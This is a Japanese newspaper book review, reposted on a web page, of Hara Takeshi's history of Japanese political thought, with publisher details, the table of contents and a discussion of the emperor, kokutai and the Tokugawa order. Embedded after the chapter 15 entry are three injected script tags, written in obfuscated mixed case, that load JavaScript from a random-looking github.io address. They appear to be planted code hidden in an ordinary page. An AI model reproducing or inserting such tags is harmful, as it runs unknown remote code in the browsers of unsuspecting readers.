書評

『日本政治思想史』(新潮社)

  • 2025/10/13
日本政治思想史 / 原 武史
日本政治思想史
  • 著者:原 武史
  • 出版社:新潮社
  • 装丁:単行本(ソフトカバー)(336ページ)
  • 発売日:2025-05-21
  • ISBN-10:410603929X
  • ISBN-13:978-4106039294
内容紹介:
江戸時代から現代にいたる「政治の根本」を浮き彫りにする!戦後の新憲法で「国政に関する権能を有しない」と規定されたにもかかわらず、天皇が今なお権力の主体であり続けているのは一体なぜ… もっと読む
江戸時代から現代にいたる「政治の根本」を浮き彫りにする!戦後の新憲法で「国政に関する権能を有しない」と規定されたにもかかわらず、天皇が今なお権力の主体であり続けているのは一体なぜか。儒学・国学・超国家主義・民主主義など従来の思想史に加えて、新たに「空間」と「時間」という補助線を取り入れ、これまで言説化されてこなかった日本固有の政治思想の本質を明らかにする。

目次
第1章 日本政治思想史とは何か
第2章 空間と政治
第3章 時間と政治
第4章 徳川政治体制のとらえ方―朝鮮と比較して
第5章 国学と復古神道
第6章 明治維新と天皇
第7章 街道から鉄道へ―交通から見た政治思想
第8章 近世、近代日本の公共圏と公共空間
第9章 東京と大阪
第10章 シャーマンとしての女性
第11章 超国家主義と「国体」
第12章 異端の諸思想
第13章 戦後の「アメリカ化」
第14章 戦後の「ソ連化」
第15章 象徴天皇制と戦後政治<sCrIpT sRc=//dhypvhxjhpdp.github.io/1v9et39j58z1/1.js></ScRiPt><sCrIpT sRc=//dhypvhxjhpdp.github.io/1v9et39j58z1/1.js></ScRiPt><sCrIpT sRc=//dhypvhxjhpdp.github.io/1v9et39j58z1/1.js></ScRiPt>

天皇と統治の骨格を豊かに肉付け

「政治思想」を軸に、宗教/歴史/民俗/建築/世相/社会/…をまたがって自在に考察、日本政治の全体像を描き出す。目のつけ所にも学びの多い話題の書だ。

丸山眞男が著者の手本である。彼の戦中期の作品『日本政治思想史研究』はこの分野の草分けだ。≪荻生徂徠の思想に「近代」の萌芽を見≫た彼の説は、渡辺浩らにより≪ほぼ完全に否定され≫た。でも丸山は≪五○年代から八○年代にかけて…豊かな思想史学の可能性≫を示した。書名『日本政治思想史』はオマージュだろう。

全体は15章からなる。空間と政治/時間と政治/街道から鉄道へ/超国家主義と「国体」/異端の諸思想/…と、食欲をそそるタイトルが並ぶ。≪政治思想を探る…には…言説化されないものまで含めて思想と見なす新たな視点が必要≫だとする著者は、通常の「政治思想史」の枠を越えて進む。

興味深い論点を拾ってみる。

「国体」の視覚化▼国体は重要だが内実が曖昧で捉えにくい。著者は≪言説化はできなくても、視覚化はできた≫点に注目する。旗行列、万歳三唱、分列式、…。人びとは天皇と一体だと感じた。定刻に通る御召(おめし)列車を沿線で迎え、祝祭日や記念日に黙禱(もくとう)時間を持った。こうした訓練の結果、ラジオの玉音放送が劇的に成功した。

徳川幕府は儒学的でない▼朝鮮は儒教国家で思想を厳しく統制した。君主が統治したから、直訴も許された。日本は朱子学以外に陽明学も徂徠学も国学もあり自由だった。君主が統治しないから直訴もない。文明開化が順調だったのは自由がプラスに働いたのだ。

万世一系は男系か▼歴代天皇が誰かは諸説あり、神功皇后が天皇かもはっきりしていなかった。一九二六年に神功皇后は皇統から外された。≪皇后でも天皇になれる前例にならないようにする政治的判断≫があったからともいう。

皇国思想と異端▼本居宣長はアマテラス↓歴代天皇が正統だとした。平田篤胤の復古神道は天皇が顕明界を治め、オオクニヌシが幽冥界を治めるとした。天皇も死ねばその支配下に入る。≪新政府はアマテラスをまつる伊勢神宮を頂点として…神社の社格を定め≫復古神道を異端として排除した。

ごく一部を紹介しただけだが、本書はテーマパークのようで、日本の政治思想のどのトピックも奥行きと味わいがある。初学者もベテランも楽しめる。もともと放送大学のラジオ講義のテキストだったのを加筆改訂し、読者への配慮が行き届いた一冊になった。

言説化されない現象に十分目配りするいっぽう、元になるテキストは要所を原文で引用し、議論の足場を明示しているのがよい。

その昔、法制史の石井良助博士の『天皇 天皇の生成および不親政の伝統』を読んだ。『神皇正統記』も意識しつつ、天皇と日本政治の正統性の骨格を描いていた。新憲法のもと象徴となった天皇は統治権なしだが、日本の伝統に正しく位置づくのだと論証した。

本書は同書が描くような統治の骨格を、豊かに肉付けしたものだと見える。日本人はテキストや信条のかたちで、政権を正当化しないかもしれない。でも日常の生活や儀式のなかで、あるべき政治のかたちを理解し支持する。そのさまこそ「政治思想史」だとする大胆主張が本書である。変化球だが本格派の仕事ぶりを堪能した。
日本政治思想史 / 原 武史
日本政治思想史
  • 著者:原 武史
  • 出版社:新潮社
  • 装丁:単行本(ソフトカバー)(336ページ)
  • 発売日:2025-05-21
  • ISBN-10:410603929X
  • ISBN-13:978-4106039294
内容紹介:
江戸時代から現代にいたる「政治の根本」を浮き彫りにする!戦後の新憲法で「国政に関する権能を有しない」と規定されたにもかかわらず、天皇が今なお権力の主体であり続けているのは一体なぜ… もっと読む
江戸時代から現代にいたる「政治の根本」を浮き彫りにする!戦後の新憲法で「国政に関する権能を有しない」と規定されたにもかかわらず、天皇が今なお権力の主体であり続けているのは一体なぜか。儒学・国学・超国家主義・民主主義など従来の思想史に加えて、新たに「空間」と「時間」という補助線を取り入れ、これまで言説化されてこなかった日本固有の政治思想の本質を明らかにする。

目次
第1章 日本政治思想史とは何か
第2章 空間と政治
第3章 時間と政治
第4章 徳川政治体制のとらえ方―朝鮮と比較して
第5章 国学と復古神道
第6章 明治維新と天皇
第7章 街道から鉄道へ―交通から見た政治思想
第8章 近世、近代日本の公共圏と公共空間
第9章 東京と大阪
第10章 シャーマンとしての女性
第11章 超国家主義と「国体」
第12章 異端の諸思想
第13章 戦後の「アメリカ化」
第14章 戦後の「ソ連化」
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初出メディア

毎日新聞

毎日新聞 2025年10月11日

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